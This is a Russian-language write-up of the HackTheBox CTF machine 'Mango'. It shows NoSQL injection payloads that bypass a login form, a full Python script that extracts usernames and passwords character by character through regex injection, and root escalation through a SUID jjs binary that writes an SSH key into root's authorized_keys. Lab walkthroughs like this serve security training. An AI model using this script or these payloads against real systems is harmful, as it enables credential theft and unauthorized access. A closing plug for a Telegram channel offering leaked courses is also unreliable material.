HackTheBox. Прохождение Mango. NoSQL инъекция и LPE через JJS

в 16:52, , рубрики: ctf, HTB, nosql, pentest, python, ralf_rt, red team, информационная безопасность
image

Продолжаю публикацию решений отправленных на дорешивание машин с площадки HackTheBox.

В данной статье эксплуатируем NoSQL инъекцию в форме авторизации, а также повышаем привилегии через JJS.

Подключение к лаборатории осуществляется через VPN. Рекомендуется не подключаться с рабочего компьютера или с хоста, где имеются важные для вас данные, так как Вы попадаете в частную сеть с людьми, которые что-то да умеют в области ИБ :)

Организационная информация

Чтобы вы могли узнавать о новых статьях, программном обеспечении и другой информации, я создал канал в Telegram и группу для обсуждения любых вопросов в области ИиКБ. Также ваши личные просьбы, вопросы, предложения и рекомендации рассмотрю лично и отвечу всем.

Вся информация представлена исключительно в образовательных целях. Автор этого документа не несёт никакой ответственности за любой ущерб, причиненный кому-либо в результате использования знаний и методов, полученных в результате изучения данного документа.

Recon

Данная машина имеет IP адрес 10.10.10.162, который я добавляю в /etc/hosts.

10.10.10.162    mango.htb

Первым делом сканируем открытые порты. Так как сканировать все порты nmap’ом долго, то я сначала сделаю это с помощью masscan. Мы сканируем все TCP и UDP порты с интерфейса tun0 со скоростью 1000 пакетов в секунду.

masscan -e tun0 -p1-65535,U:1-65535 10.10.10.162  --rate=1000

image

Теперь для получения более подробной информации о сервисах, которые работают на портах, запустим сканирование с опцией -А.

nmap -A mango.htb -p22,80,443

image

Первым делом идем смотреть сайт. При обращении к mango.htb нас кидают с http на https, и говорят о проблеме с сертификатом. Если согласиться на риски, то можно увидеть эту страницу.

image

Но больше ничего интересного. В скане nmap отражена информация ssl-cert, где указан домен. Добавим его в /etc/hosts.
10.10.10.162 staging-order.mango.htb
И зайдем глянуть что там.

image

Здесь есть форма авторизации — возможная точка входа.

Entry Point

Пробуем несколько техник инъекций для обхода авторизации. И мы находим стандартную NoSql инъекцию, сравнивая реакцию на два условия: логин равен 123, пароль равен 123 и логин не равен 123, пароль не равен 123.

image

И после успешного истинного результата второго условия, получаем переадресацию на home.php. Таким образом возможна NoSql инъекция.

image

Так как на страницу ничего интересного нет, единственное что мы можем взять с данной уязвимости — логины и пароли.

USER

Давайте посмотри длины максимальных логинов и паролей. Для этого можно использовать следующие конструкции:
login[$regex]=.{length}&password[$ne]=123 — для логина (происходит сравнение по регулярному выражению для логина и отрицание неверного пароля);
login[$ne]=123; password[$regex]=.{length} для пароля.

Сделаем это с помощью burp intruder.

image

image

image

Таким образом, длина самого длинного логина — 5 символов. Проделав те же операции для пароля, узнаем, что длина самого длинного — 16 символов.

image

Так как руками это перебирать слишком долго, напишем скрипт на python. Сначала сделаем сессию для работы.

import string
import requests

alfa = string.printable 
URL = 'http://staging-order.mango.htb'

r = requests.session()
ans = r.get(URL)
r.headers = {"Content-Type":"application/x-www-form-urlencoded"}

logins = []

Далее реализуем функцию для перебора логинов. Перебор будет осуществляться с помощью следующего регулярного выражения ^name.* — таким образом мы будем вытягивать по одному символу.

def logins_find(login):
    is_find = False
    for char in alfa[:62]:
        data = "username[$regex]=^%s%s.*&password[$ne]=123&login=login" % (login, char)
        resp = r.post(URL, data=data)
        print('login: %s ' % (login+char), end='r') 
        if len(resp.history):
            is_find = True
            logins_find(login+char)
    if not is_find:
        print('login found: %s ' % (login))
        logins.append(login)

И подобная функция, только уже с использованием найденного логина.

def passwords_find(login, password):
    is_find = False
    for char in alfa:
        if char in ['*','+','.','?','|', '#', '&', '$', '\']:
            char = '\' + char
        data = "username=%s&password[$regex]=^%s%s.*&login=login" % (login, password, char)
        resp = r.post(URL, data=data)
        print("password for %s: %s " % (login, (password+char).replace('\', '')), end = 'r')
        if len(resp.history):
            is_find = True
            passwords_find(login, password+char)
    if not is_find:
        print("[+] password for %s: %s " % (login, (password+char).replace('\', '')))

ПОЛНЫЙ КОД:

#!/usr/bin/python3

import string
import requests

alfa = string.printable[:-6]
URL = 'http://staging-order.mango.htb'

r = requests.session()
ans = r.get(URL)
r.headers = {"Content-Type":"application/x-www-form-urlencoded"}

logins = []

def logins_find(login):
    is_find = False
    for char in alfa[:62]:
        data = "username[$regex]=^%s%s.*&password[$ne]=123&login=login" % (login, char)
        resp = r.post(URL, data=data)
        print('login: %s ' % (login+char), end='r') 
        if len(resp.history):
            is_find = True
            logins_find(login+char)
    if not is_find:
        print('login found: %s ' % (login))
        logins.append(login)

def passwords_find(login, password):
    is_find = False
    for char in alfa:
        if char in ['*','+','.','?','|', '#', '&', '$', '\']:
            char = '\' + char
        data = "username=%s&password[$regex]=^%s%s.*&login=login" % (login, password, char)
        resp = r.post(URL, data=data)
        print("password for %s: %s " % (login, (password+char).replace('\', '')), end = 'r')
        if len(resp.history):
            is_find = True
            passwords_find(login, password+char)
    if not is_find:
        print("[+] password for %s: %s " % (login, (password+char).replace('\', '')))
   
print("SEARCH logins:") 
logins_find("")

print("nSEARCH passwords:") 
[ passwords_find(login, "") for login in logins ]

И, как результат, находим учетные данные двух пользователей.

image

С учетными данными успешно подключаемся по SSH.

image

У нас есть пароль от второго пользователя, но он не дает залогиниться по SSH. Пробуем локально изменить пользователя, указав известный нам пароль.

image

ROOT

Проведем базовое перечисление, с помощью скрипта LinEnum.

image

И находим программу с выставленным S-битом.

image

Проверяем JJS на пример GTFOBins.

image

Так же там представлены примеры эксплуатации. Вызвать локальный шелл не вышло. Но можно сгенерировать ssh ключи, записать публичный в /root/.ssh/authorized_keys и подключиться с помощью приватного.

image

Давайте считаем публичный ключ.

image

И теперь запишем его.

image

И теперь подключимся как root.

image

Вы можете присоединиться к нам в Telegram. Там можно будет найти интересные материалы, слитые курсы, а также ПО. Давайте соберем сообщество, в котором будут люди, разбирающиеся во многих сферах ИТ, тогда мы всегда сможем помочь друг другу по любым вопросам ИТ и ИБ.

Автор: Ральф Фаилов

Источник


* - обязательные к заполнению поля


https://ajax.googleapis.com/ajax/libs/jquery/3.4.1/jquery.min.js